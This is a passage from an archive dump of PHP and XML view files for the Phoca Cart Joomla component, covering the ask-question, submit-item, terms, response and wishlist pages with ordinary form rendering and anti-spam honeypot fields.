$this->s['c']['pull-right'] . ' '.
$this->s['c']['checkbox'] . '
ph-askquestion-checkbox-confirm';
$d['display'] =
$this->t['display_question_privacy_checkbox'];
echo '<div class="ph-cb"></div>';
echo $layoutPC->render($d);
}
?>
<div class="btn-toolbar">
<div class="btn-group">
<button type="submit" class="<?php echo
$this->s['c']['btn.btn-primary'] ?>">
<span class="<?php echo
$this->s['i']['submit'] ?>"></span>
<?php echo
JText::_('COM_PHOCACART_SUBMIT');?></button>
</div>
</div>
<?php
echo $this->form->getInput('product_id');
echo $this->form->getInput('category_id');
?>
<input type="hidden" name="view"
value="question" />
<input type="hidden" name="cid"
value="cid" />
<input type="hidden" name="id" value="id"
/>
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="task"
value="question.submit" />
<?php echo Joomla\CMS\HTML\HTMLHelper::_('form.token');?>
</form>
</div>
</div>
</div>
<?php /*
<script type='text/javascript'>
setTimeout(function () { window.close();}, 1000);
</script>
*/ ?>
question/tmpl/default.xml000064400000000754151165727120011552
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_ASK_QUESTION_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_ASK_QUESTION_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_ASK_QUESTION_LAYOUT</name>
<description>COM_PHOCACART_ASK_QUESTION_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>question/tmpl/index.html000064400000000054151165727120011372
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>question/view.html.php000064400000012153151165727120011052
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewQuestion extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
protected $category;
protected $item;
protected $form;
public function display($tpl = null) {
$app = JFactory::getApplication();
$document = JFactory::getDocument();
$session = JFactory::getSession();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->u = PhocacartUser::getUser();
$this->s =
PhocacartRenderStyle::getStyles();
$this->p = $app->getParams();
$this->t['question_description'] = $this->p->get(
'question_description', '' );
$this->t['question_description'] =
PhocacartRenderFront::renderArticle($this->t['question_description']);
$this->t['enable_ask_question'] =
$this->p->get('enable_ask_question', 0);
if ($this->t['enable_ask_question'] == 0) {
//throw new
Exception(JText::_('COM_PHOCACART_ASK_QUESTION_DISABLED'), 403);
$app->enqueueMessage(JText::_('COM_PHOCACART_ASK_QUESTION_DISABLED'),
'error');
return false;
}
// Ask Question Privacy checkbox
$this->t['display_question_privacy_checkbox'] =
$this->p->get( 'display_question_privacy_checkbox', 0 );
if ($this->t['display_question_privacy_checkbox'] > 0) {
$this->t['question_privacy_checkbox_label_text'] =
$this->p->get( 'question_privacy_checkbox_label_text', 0
);
$this->t['question_privacy_checkbox_label_text'] =
PhocacartRenderFront::renderArticle((int)$this->t['question_privacy_checkbox_label_text'],
'html', '');
}
// Security
$namespace = 'phccrt' .
$this->p->get('session_suffix');
$session->set('form_id',
PhocacartUtils::getRandomString(mt_rand(6,10)), $namespace);
if((int)$this->p->get('enable_time_check_question', 0)
> 0) {
$sesstime = $session->get('time', time(), $namespace);
$session->set('time', $sesstime, $namespace);
}
// Security Hidden Field
if ($this->p->get('enable_hidden_field_question', 0) ==
1) {
$this->p->set('hidden_field_position',
PhocacartSecurity::setHiddenFieldPos($this->p->get('display_name_form'),
$this->p->get('display_email_form'),
$this->p->get('display_phone_form'),
$this->p->get('display_message_form')));
$session->set('hidden_field_id',
'hf'.PhocacartUtils::getRandomString(mt_rand(6,10)),
$namespace);
$session->set('hidden_field_name',
'hf'.PhocacartUtils::getRandomString(mt_rand(6,10)),
$namespace);
$session->set('hidden_field_class',
'pc'.PhocacartUtils::getRandomString(mt_rand(6,10)),
$namespace);
$this->p->set('hidden_field_id',
$session->get('hidden_field_id', '', $namespace));
$this->p->set('hidden_field_name',
$session->get('hidden_field_name', '',
$namespace));
$this->p->set('hidden_field_class',
$session->get('hidden_field_class', '',
$namespace));
$document->addCustomTag('<style type="text/css">
.'.$this->p->get('hidden_field_class').' {
'."\n\t".'display: none
!important;'."\n".'}</style>');
} else {
$this->p->set('hidden_field_position', -1);
}
$id = $app->input->get('id', 0, 'int');
$catid = $app->input->get('catid', 0,
'int');
$tmpl = $app->input->get('tmpl', '',
'string');
if ($id > 0 && $catid > 0) {
//$modelP = $this->getModel('Item',
'PhocaCartModel');
jimport('joomla.application.component.model');
JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_phocacart/models');
$modelP = JModelLegacy::getInstance( 'Item',
'PhocaCartModel' );
$this->category = $modelP->getCategory($id, $catid);
$this->item = $modelP->getItem($id, $catid);
$this->t['catid'] = 0;
if (isset($this->category[0]->id)) {
$this->t['catid'] = (int)$this->category[0]->id;
}
}
if ($tmpl == 'component') {
$buffer = JFactory::getApplication()->sendHeaders();
$document->addCustomTag( "<style
type=\"text/css\"> \n"
." #ph-pc-question-box {
margin: 20px
} \n"
." </style> \n");
}
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$this->form = $this->get('Form');
if (!empty($this->form) && $id > 0) {
$this->form->setValue('product_id', null, (int)$id);
}
if (!empty($this->form) && $catid > 0) {
$this->form->setValue('category_id', null,
(int)$catid);
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
$media->loadSpec();
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_ASK_A_QUESTION'));
}
}
?>
response/index.html000064400000000054151165727130010406
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>response/metadata.xml000064400000000130151165727130010706
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view hidden="true" />
</metadata>response/tmpl/default.php000064400000001137151165727130011525
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-response-box"
class="pc-response-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo PhocacartRenderFront::renderHeader();
echo '</div>';// end ph-pc-response-box
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>response/tmpl/index.html000064400000000054151165727130011362
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>response/view.html.php000064400000002024151165727130011036
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewResponse extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
function display($tpl = null) {
$document = JFactory::getDocument();
$app = JFactory::getApplication();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->u = PhocacartUser::getUser();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
//PhocacartRenderFront::prepareDocument($this->document,
$this->p);
}
}
?>
submit/index.html000064400000000054151165727130010053
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>submit/metadata.xml000064400000000320151165727130010354
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_SUBMIT_GROUP">
<message><![CDATA[COM_PHOCACART_SUBMIT_GROUP_DESC]]></message>
</view>
<view hidden="true" />
</metadata>submit/tmpl/default.php000064400000026767151165727130011212
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
//Joomla\CMS\HTML\HTMLHelper::_('formbehavior.chosen',
'select');
$layoutPC = new JLayoutFile('form_privacy_checkbox', null,
array('component' => 'com_phocacart'));
$layoutUL = new JLayoutFile('user_login', null,
array('component' => 'com_phocacart'));
$layoutUR = new JLayoutFile('user_register', null,
array('component' => 'com_phocacart'));
echo '<div id="ph-pc-submit-item-box"
class="pc-submit-item-view' .
$this->p->get('pageclass_sfx') . '">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_SUBMIT_ITEM')));
if (isset($this->t['submit_item_description']) &&
$this->t['submit_item_description'] != '') {
echo '<div class="ph-desc">' .
$this->t['submit_item_description'] .
'</div>';
}
if (PhocacartSubmit::isAllowedToSubmit()) {
$hiddenfield = '<div class="' .
$this->s['c']['control-group'] . ' ' .
$this->p->get('hidden_field_class') .
'">' .
'<div class="' .
$this->s['c']['controls'] . ' input-prepend
input-group">' .
'' .
$this->form->getInput($this->p->get('hidden_field_name'))
.
'</div>' .
'</div>';
echo '<div> </div>';
echo '<div class="' .
$this->s['c']['row'] . '">';
echo '<div class="' .
$this->s['c']['col.xs12.sm12.md12'] .
'">';
echo '<form action="' .
$this->t['action'] . '" method="post"
name="adminForm" id="adminForm"
class="form-validate"
enctype="multipart/form-data">';
// All form items
$fieldSets = $this->form->getFieldsets();
foreach ($fieldSets as $name => $fieldSet) {
if (isset($fieldSet->name) && $fieldSet->name ==
'items_item') {
foreach ($this->form->getFieldset($name) as $field) {
$isIncluded = 0;
if (in_array($field->fieldname,
$this->t['items_item'])) {
$isIncluded = 1;// included
}
if (in_array($field->fieldname . '*',
$this->t['items_item'])) {
$isIncluded = 2;// included and required
}
if ($isIncluded > 0) {
if ($isIncluded == 2) {
//$field->addAttribute('required',
'true');
//$field->required = true;
$field->__set('required', true);
}
echo '<div class="' .
$this->s['c']['control-group'] .
'">';
echo '<div class="' .
$this->s['c']['control-label'] .
'">' . $field->label . '</div>';
echo '<div class="' .
$this->s['c']['controls'] . '">' .
$field->input . '</div>';
echo '</div>';
}
}
}
}
/*
if (!empty($this->t['items_item'])) {
foreach ($this->t['items_item'] as $k => $v) {
$field = trim($v);
// Required
if (strpos($field, '*') !== false) {
$field = str_replace('*', '', $field);
$this->form->setFieldAttribute($field,
'required', 'true');
}
$field = str_replace('*', '', $field);
$fieldInput = $this->form->getInput($field);
$fieldInput = str_replace('icon-calendar',
$this->s['i']['calendar'], $fieldInput);
echo '<div
class="'.$this->s['c']['control-group'].'">';
echo '<div
class="'.$this->s['c']['control-label'].'">'.$this->form->getLabel($field).'</div>';
echo '<div
class="'.$this->s['c']['controls'].'">'.$fieldInput.'</div>';
echo '</div>';
}
}*/
if ($this->p->get('hidden_field_position') == 1) {
echo $hiddenfield;
}
// Parameters
foreach ($fieldSets as $name => $fieldSet) {
if (isset($fieldSet->name) && $fieldSet->name ==
'items_parameter') {
$parameters = PhocacartParameter::getAllParameters();
foreach ($this->form->getFieldset($name) as $field) {
// We store parameters with ID not aliases in DB
$alias = '';
$fN = (int)$field->fieldname;
if (isset($parameters[$fN]->alias) &&
$parameters[$fN]->alias != '') {
$alias = $parameters[$fN]->alias;
}
$isIncluded = 0;
if ($alias != '' && in_array($alias,
$this->t['items_parameter'])) {
$isIncluded = 1;// included
}
if ($alias != '' && in_array($alias .
'*', $this->t['items_parameter'])) {
$isIncluded = 2;// included and required
}
if ($isIncluded > 0) {
if ($isIncluded == 2) {
//$field->addAttribute('required',
'true');
//$field->required = true;
$field->__set('required', true);
}
echo '<div class="' .
$this->s['c']['control-group'] .
'">';
echo '<div class="' .
$this->s['c']['control-label'] .
'">' . $field->label . '</div>';
echo '<div class="' .
$this->s['c']['controls'] . '">' .
$field->input . '</div>';
echo '</div>';
}
}
}
}
if ($this->p->get('hidden_field_position') == 2) {
echo $hiddenfield;
}
// Contact information
foreach ($fieldSets as $name => $fieldSet) {
if (isset($fieldSet->name) && $fieldSet->name ==
'items_contact') {
foreach ($this->form->getFieldset($name) as $field) {
$isIncluded = 0;
if (in_array($field->fieldname,
$this->t['items_contact'])) {
$isIncluded = 1;// included
}
if (in_array($field->fieldname . '*',
$this->t['items_contact'])) {
$isIncluded = 2;// included and required
}
if ($isIncluded > 0) {
if ($isIncluded == 2) {
//$field->addAttribute('required',
'true');
//$field->required = true;
$field->__set('required', true);
}
echo '<div class="' .
$this->s['c']['control-group'] .
'">';
echo '<div class="' .
$this->s['c']['control-label'] .
'">' . $field->label . '</div>';
echo '<div class="' .
$this->s['c']['controls'] . '">' .
$field->input . '</div>';
echo '</div>';
}
}
}
}
/*
if (!empty($this->t['items_contact'])) {
echo '<div
class="ph-submititem-header-contact">'.JText::_('COM_PHOCACART_CONTACT_INFORMATION').'</div>';
foreach ($this->t['items_contact'] as $k => $v) {
$field = trim($v);
// Required
if (strpos($field, '*') !== false) {
$field = str_replace('*', '', $field);
$this->form->setFieldAttribute($field,
'required', 'true');
}
$field = str_replace('*', '', $field);
$fieldInput = $this->form->getInput($field);
$fieldInput = str_replace('icon-calendar',
$this->s['i']['calendar'], $fieldInput);
echo '<div
class="'.$this->s['c']['control-group'].'">';
echo '<div
class="'.$this->s['c']['control-label'].'">'.$this->form->getLabel($field).'</div>';
echo '<div
class="'.$this->s['c']['controls'].'">'.$fieldInput.'</div>';
echo '</div>';
}
}*/
if ($this->p->get('hidden_field_position') == 3) {
echo $hiddenfield;
}
// Captcha
echo '<div class="' .
$this->s['c']['control-group'] .
'">';
echo '<div class="' .
$this->s['c']['control-label'] .
'">' .
$this->form->getLabel('phq_captcha') .
'</div>';
echo '<div class="' .
$this->s['c']['controls'] . '">' .
$this->form->getInput('phq_captcha') .
'</div>';
echo '</div>';
if ($this->p->get('hidden_field_position') == 4) {
echo $hiddenfield;
}
// Privacy Checkbox
if ($this->t['display_submit_item_privacy_checkbox'] >
0) {
$d = array();
$d['s'] = $this->s;
$d['label_text'] =
$this->t['submit_item_privacy_checkbox_label_text'];
$d['id'] = 'phSubmitItemPrivacyCheckbox';
$d['name'] = 'privacy';
$d['class'] =
$this->s['c']['pull-left'] . ' ' .
$this->s['c']['checkbox'] . '
ph-submititem-checkbox-confirm';
$d['display'] =
$this->t['display_submit_item_privacy_checkbox'];
echo '<div class="ph-cb"></div>';
echo $layoutPC->render($d);
echo '<div class="ph-cb"></div>';
}
if ($this->p->get('hidden_field_position') == 5) {
echo $hiddenfield;
}
// Submit button
echo '<div class="btn-toolbar">';
echo '<div class="btn-group">';
echo '<button type="submit" class="' .
$this->s['c']['btn.btn-primary'] .
'">';
echo '<span class="' .
$this->s['i']['submit'] .
'"></span> ' .
JText::_('COM_PHOCACART_SUBMIT') . '</button>';
echo '</div>';
echo '</div>';
echo '<input type="hidden" name="view"
value="submit" />';
//echo '<input type="hidden" name="cid"
value="cid" />';
//echo '<input type="hidden" name="id"
value="id" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="task"
value="submit.submit" />';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
echo '</div>';
} else {
require_once JPATH_SITE .
'/components/com_users/helpers/route.php';
jimport('joomla.application.module.helper');
$module = JModuleHelper::getModule('mod_login');
$mP = new JRegistry();
$mP->loadString($module->params);
$lang = JFactory::getLanguage();
$lang->load('mod_login');
echo '<div class="' .
$this->s['c']['row'] . '
ph-account-box-row" >';
//echo '<div class="ph-account-box-header"
id="phaccountloginedit"><div
class="ph-pull-right"><span
class="'.$this->s['i']['remove-circle'].'
ph-account-icon-not-ok"></span></div><h3>1.
'.JText::_('COM_PHOCACART_LOGIN_REGISTER').'</h3></div>';
echo '<div class="' .
$this->s['c']['col.xs12.sm12.md12'] . '
ph-account-box-header"
id="phaccountloginedit"><h3>' .
JText::_('COM_PHOCACART_LOGIN_REGISTER') .
'</h3></div>';
echo '</div>';
echo '<div class="' .
$this->s['c']['row'] . '
ph-account-box-action">';
echo '<div class="' .
$this->s['c']['col.xs12.sm8.md8'] . '
ph-right-border">';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUL->render($d);
echo '</div>' . "\n";// end columns
echo '<div class="' .
$this->s['c']['col.xs12.sm4.md4'] . '
ph-left-border">';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUR->render($d);
echo '</div>' . "\n";// end columns
echo '<div class="ph-cb"></div>';
echo '</div>' . "\n";// end account box
login
echo '</form>' . "\n";
}
echo '</div>';
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
submit/tmpl/default.xml000064400000000750151165727130011203
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_SUBMIT_ITEM_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_SUBMIT_ITEM_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_SUBMIT_ITEM_LAYOUT</name>
<description>COM_PHOCACART_SUBMIT_ITEM_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>submit/tmpl/index.html000064400000000054151165727130011027
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>submit/view.html.php000064400000013714151165727160010516
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewSubmit extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
protected $category;
protected $item;
protected $form;
public function display($tpl = null) {
$app = JFactory::getApplication();
$document = JFactory::getDocument();
$session = JFactory::getSession();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->u = PhocacartUser::getUser();
$this->s =
PhocacartRenderStyle::getStyles();
$this->p = $app->getParams();
$this->t['enable_submit_item'] =
$this->p->get('enable_submit_item', 0);
if ($this->t['enable_submit_item'] == 0) {
//throw new
Exception(JText::_('COM_PHOCACART_SUBMIT_ITEM_DISABLED'), 500);
$app->enqueueMessage(JText::_('COM_PHOCACART_SUBMIT_ITEM_DISABLED'),
'error');
return false;
}
$this->t['submit_item_description'] =
$this->p->get('submit_item_description', '');
$this->t['submit_item_description'] =
PhocacartRenderFront::renderArticle($this->t['submit_item_description']);
if (PhocacartSubmit::isAllowedToSubmit()) {
$this->t['submit_item_form_fields'] =
$this->p->get('submit_item_form_fields', '');
//$this->t['submit_item_form_fields'] = 'title, alias,
catid_multiple, image, sku, upc, ean, jan, isbn, mpn, serial_number,
registration_key, external_id, external_key, external_link, external_text,
external_link2, external_text2, price, price_original, tax_id,
manufacturer_id, description, description_long, features, video, type,
unit_amount, unit_unit, length, width, height, weight, volume, condition,
type_feed, type_category_feed, delivery_date, metatitle, metakey, metadesc,
date, date_update, tags, taglabels';
$this->t['items_item'] = array_map('trim',
explode(',', $this->t['submit_item_form_fields']));
$this->t['items_item'] =
array_unique($this->t['items_item']);
// Contact
$this->t['submit_item_form_fields_contact'] =
$this->p->get('submit_item_form_fields_contact',
'');
//$this->t['submit_item_form_fields_contact'] =
'name*, email*, phone, message';
$this->t['items_contact'] = array_map('trim',
explode(',',
$this->t['submit_item_form_fields_contact']));
$this->t['items_contact'] =
array_unique($this->t['items_contact']);
$this->t['submit_item_form_fields_parameters'] =
$this->p->get('submit_item_form_fields_parameters',
'');
$this->t['items_parameter'] = array_map('trim',
explode(',',
$this->t['submit_item_form_fields_parameters']));
$this->t['items_parameter'] =
array_unique($this->t['items_parameter']);
$this->t['enable_submit_item'] =
$this->p->get('enable_submit_item', 0);
if ($this->t['enable_submit_item'] == 0) {
//throw new
Exception(JText::_('COM_PHOCACART_SUBMIT_ITEM_DISABLED'), 403);
$app->enqueueMessage(JText::_('COM_PHOCACART_SUBMIT_ITEM_DISABLED'),
'error');
return false;
}
// Submit Item Privacy checkbox
$this->t['display_submit_item_privacy_checkbox'] =
$this->p->get('display_submit_item_privacy_checkbox', 0);
if ($this->t['display_submit_item_privacy_checkbox'] >
0) {
$this->t['submit_item_privacy_checkbox_label_text'] =
$this->p->get('submit_item_privacy_checkbox_label_text',
0);
$this->t['submit_item_privacy_checkbox_label_text'] =
PhocacartRenderFront::renderArticle((int)$this->t['submit_item_privacy_checkbox_label_text'],
'html', '');
}
// Security
$namespace = 'phccrt' .
$this->p->get('session_suffix');
$session->set('form_id',
PhocacartUtils::getRandomString(mt_rand(6, 10)), $namespace);
if ((int)$this->p->get('enable_time_check_submit_item',
0) > 0) {
$sesstime = $session->get('time', time(), $namespace);
$session->set('time', $sesstime, $namespace);
}
// Security Hidden Field
if ($this->p->get('enable_hidden_field_submit_item', 0)
== 1) {
$this->p->set('hidden_field_position', rand(1, 5));
$session->set('hidden_field_id', 'hf' .
PhocacartUtils::getRandomString(mt_rand(6, 10)), $namespace);
$session->set('hidden_field_name', 'hf' .
PhocacartUtils::getRandomString(mt_rand(6, 10)), $namespace);
$session->set('hidden_field_class', 'pc' .
PhocacartUtils::getRandomString(mt_rand(6, 10)), $namespace);
$this->p->set('hidden_field_id',
$session->get('hidden_field_id', '', $namespace));
$this->p->set('hidden_field_name',
$session->get('hidden_field_name', '',
$namespace));
$this->p->set('hidden_field_class',
$session->get('hidden_field_class', '',
$namespace));
$document->addCustomTag('<style
type="text/css"> .' .
$this->p->get('hidden_field_class') . ' { ' .
"\n\t" . 'display: none !important;' . "\n" .
'}</style>');
} else {
$this->p->set('hidden_field_position', -1);
}
$tmpl = $app->input->get('tmpl', '',
'string');
if ($tmpl == 'component') {
$buffer = JFactory::getApplication()->sendHeaders();
$document->addCustomTag("<style
type=\"text/css\"> \n"
. " #ph-pc-question-box {
margin: 20px
} \n"
. " </style> \n");
}
$this->form = $this->get('Form');
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
//$media->loadFileInput();
$media->loadSpec();
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_SUBMIT_ITEM'));
}
}
?>
terms/index.html000064400000000054151165727160007705
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>terms/metadata.xml000064400000000316151165727160010213
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_TERMS_GROUP">
<message><![CDATA[COM_PHOCACART_TERMS_GROUP_DESC]]></message>
</view>
<view hidden="true" />
</metadata>terms/tmpl/default.php000064400000001222151165727160011017
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-terms-box"
class="pc-terms-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_TERMS_AND_CONDITIONS')));
echo '<div class="ph-terms-box-in">';
echo $this->t['terms_conditions'];
echo '</div>';
echo '</div>';
?>terms/tmpl/default.xml000064400000000720151165727160011032
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_TERMS_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_TERMS_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_TERMS_LAYOUT</name>
<description>COM_PHOCACART_TERMS_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>terms/tmpl/index.html000064400000000054151165727160010661
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>terms/view.html.php000064400000002342151165727160010340
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewTerms extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
public function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$this->t['terms_conditions']= $this->p->get(
'terms_conditions', '' );
$this->t['terms_conditions']=
PhocacartRenderFront::renderArticle($this->t['terms_conditions']);
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadSpec();
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_TERMS_AND_CONDITIONS'));
}
}
?>
wishlist/index.html000064400000000054151165727160010421
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>wishlist/metadata.xml000064400000000275151165727160010733
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_WISH_LIST_GROUP">
<message><![CDATA[COM_PHOCACART_WISH_LIST_GROUP_DESC]]></message>
</view>
</metadata>wishlist/tmpl/default.php000064400000012706151165727160011544
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('image', null,
array('component' => 'com_phocacart'));
echo '<div id="ph-pc-wishlist-box"
class="pc-wishlist-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_WISH_LIST')));
if (!empty($this->t['items'])) {
echo '<div
class="'.$this->s['c']['row'].'">';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"><b>'.JText::_('COM_PHOCACART_IMAGE').'</b></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'"><b>'.JText::_('COM_PHOCACART_PRODUCT').'</b></div>';
if (isset($this->t['value']['stock']) &&
$this->t['value']['stock'] == 1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"><b>'.JText::_('COM_PHOCACART_AVAILABILITY').'</b></div>';
} else {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"></div>';
}
if ($this->t['can_display_price']) {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"><b>'.JText::_('COM_PHOCACART_PRICE').'</b></div>';
} else {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"></div>';
}
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'"><b>'.JText::_('COM_PHOCACART_ACTION').'</b></div>';
echo '</div>';
$count = count($this->t['items']);
$price = new PhocacartPrice();
foreach($this->t['items'] as $k => $v) {
echo '<div
class="'.$this->s['c']['row'].'">';
if (isset($v['catid2']) && (int)$v['catid2']
> 0 && isset($v['catalias2']) &&
$v['catalias2'] != '') {
$link = JRoute::_(PhocacartRoute::getItemRoute($v['id'],
$v['catid2'], $v['alias'],
$v['catalias2']));
} else {
$link = JRoute::_(PhocacartRoute::getItemRoute($v['id'],
$v['catid'], $v['alias'], $v['catalias']));
}
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$v['image'], 'small');
$imageO = '';
if (isset($image->rel) && $image->rel != '') {
$imageO = '<div class="ph-center" >';
$imageO .= '<a href="'.$link.'">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['src'] =
JURI::base(true).'/'.$image->rel;
$d['srcset-webp'] =
JURI::base(true).'/'.$image->rel_webp;
$d['alt-value'] =
PhocaCartImage::getAltTitle($v['title'], $image->rel);
$d['class'] =
$this->s['c']['img-responsive'];
$imageO .= $layoutI->render($d);
$imageO .= '</a>';
$imageO .= '</div>';
}
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
phVMiddle">'.$imageO.'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
phVMiddle">'.$v['title'].'</div>';
if (isset($this->t['value']['stock']) &&
$this->t['value']['stock'] == 1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
phVMiddle">'.JText::_($v['stock']).'</div>';
} else {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
phVMiddle"></div>';
}
if ($this->t['can_display_price']) {
echo '<div
